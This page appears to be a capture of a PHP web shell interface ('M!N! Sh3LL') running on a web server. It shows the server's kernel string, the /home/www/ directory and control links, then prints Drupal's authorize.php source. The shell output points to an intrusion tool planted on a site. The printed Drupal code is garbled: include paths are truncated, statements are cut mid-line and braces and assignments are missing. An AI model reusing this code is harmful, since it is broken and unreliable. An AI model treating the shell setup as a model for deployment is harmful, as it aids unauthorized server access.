You are here


M!N! Sh3LL
Uname : Linux #1 SMP Sat Nov 19 13:48:44 UTC 2016 x86_64
PWD : /home/www/
Server IP :
Directory : /home/www/

[Home] [System Details] [Kill Me]
Current File:~$ /home/www/


 * @file
 * Administrative script for running authorized file operations.
 * Using this script, the site owner (the user actually owning the files on
 * webserver) can authorize certain file-related operations to proceed with
 * elevated privileges, for example to deploy and upgrade modules or
 * Users should not visit this page directly, but instead use an
 * user interface which knows how to redirect the user to this script as
part of
 * a multistep process. This script actually performs the selected
 * without loading all of Drupal, to be able to more gracefully recover
 * errors. Access to the script is controlled by a global killswitch in
 * settings.php ('allow_authorize_operations') and via the
'administer software
 * updates' permission.
 * There are helper functions for setting up an operation to run via this
 * system in modules/system/system.module. For more information, see:
 * @link authorize Authorized operation helper functions @endlink

 * Defines the root directory of the Drupal installation.
define('DRUPAL_ROOT', getcwd());

 * Global flag to identify update.php and authorize.php runs.
 * Identifies update.php and authorize.php runs, avoiding unwanted
 * such as hook_init() and hook_exit() invokes, css/js preprocessing and
 * translation, and solves some theming issues. The flag is checked in
 * places in Drupal code (not just authorize.php).
define('MAINTENANCE_MODE', 'update');

 * Renders a 403 access denied page for authorize.php.
function authorize_access_denied_page() {
  drupal_add_http_header('Status', '403 Forbidden');
  watchdog('access denied', 'authorize.php', NULL,
  drupal_set_title('Access denied');
  return t('You are not allowed to access this page.');

 * Determines if the current user is allowed to run authorize.php.
 * The killswitch in settings.php overrides all else, otherwise, the user
 * have access to the 'administer software updates' permission.
 * @return
 *   TRUE if the current user can run authorize.php, and FALSE if not.
function authorize_access_allowed() {
  return variable_get('allow_authorize_operations', TRUE)
&& user_access('administer software updates');

// *** Real work of the script begins here. ***

require_once DRUPAL_ROOT . '/includes/';
require_once DRUPAL_ROOT . '/includes/';
require_once DRUPAL_ROOT . '/includes/';
require_once DRUPAL_ROOT . '/includes/';
require_once DRUPAL_ROOT . '/includes/';

// We prepare only a minimal bootstrap. This includes the database and
// variables, however, so we have access to the class autoloader registry.

// This must go after drupal_bootstrap(), which unsets globals!
global $conf;

// We have to enable the user and system modules, even to check access and
// display errors via the maintenance theme.
$module_list['system']['filename'] =
$module_list['user']['filename'] =
module_list(TRUE, FALSE, FALSE, $module_list);
drupal_load('module', 'system');
drupal_load('module', 'user');

// We also want to have the language system available, but we do *NOT* want
// actually call drupal_bootstrap(DRUPAL_BOOTSTRAP_LANGUAGE), since that
// also force us through the DRUPAL_BOOTSTRAP_PAGE_HEADER phase, which
// all the modules, and that's exactly what we're trying to avoid.

// Initialize the maintenance theme for this administrative script.

$output = '';
$show_messages = TRUE;

if (authorize_access_allowed()) {
  // Load both the Form API and Batch API.
  require_once DRUPAL_ROOT . '/includes/';
  require_once DRUPAL_ROOT . '/includes/';
  // Load the code that drives the authorize process.
  require_once DRUPAL_ROOT . '/includes/';

  // For the sake of Batch API and a few other low-level functions, we need
  // initialize the URL path into $_GET['q']. However, we do not
want to raise
  // our bootstrap level, nor do we want to call drupal_initialize_path(),
  // since that is assuming that modules are loaded and invoking hooks.
  // However, all we really care is if we're in the middle of a batch,
in which
  // case $_GET['q'] will already be set, we just initialize it to
an empty
  // string if it's not already defined.
  if (!isset($_GET['q'])) {
    $_GET['q'] = '';

(isset($_SESSION['authorize_operation']['page_title'])) {
  else {
    drupal_set_title(t('Authorize file system changes'));

  // See if we've run the operation and need to display a report.
  if (isset($_SESSION['authorize_results']) && $results =
$_SESSION['authorize_results']) {

    // Clear the session out.

    if (!empty($results['page_title'])) {
    if (!empty($results['page_message'])) {

    $output = theme('authorize_report', array('messages'
=> $results['messages']));

    $links = array();
    if (is_array($results['tasks'])) {
      $links += $results['tasks'];
    else {
      $links = array_merge($links, array(
        l(t('Administration pages'), 'admin'),
        l(t('Front page'), '<front>'),

    $output .= theme('item_list', array('items' =>
$links, 'title' => t('Next steps')));
  // If a batch is running, let it run.
  elseif (isset($_GET['batch'])) {
    $output = _batch_page();
  else {
    if (empty($_SESSION['authorize_operation']) ||
empty($_SESSION['authorize_filetransfer_info'])) {
      $output = t('It appears you have reached this page in
    elseif (!$batch = batch_get()) {
      // We have a batch to process, show the filetransfer form.
      $elements = drupal_get_form('authorize_filetransfer_form');
      $output = drupal_render($elements);
  // We defer the display of messages until all operations are done.
  $show_messages = !(($batch = batch_get()) &&
else {
  $output = authorize_access_denied_page();

if (!empty($output)) {
  print theme('update_page', array('content' => $output,
'show_messages' => $show_messages));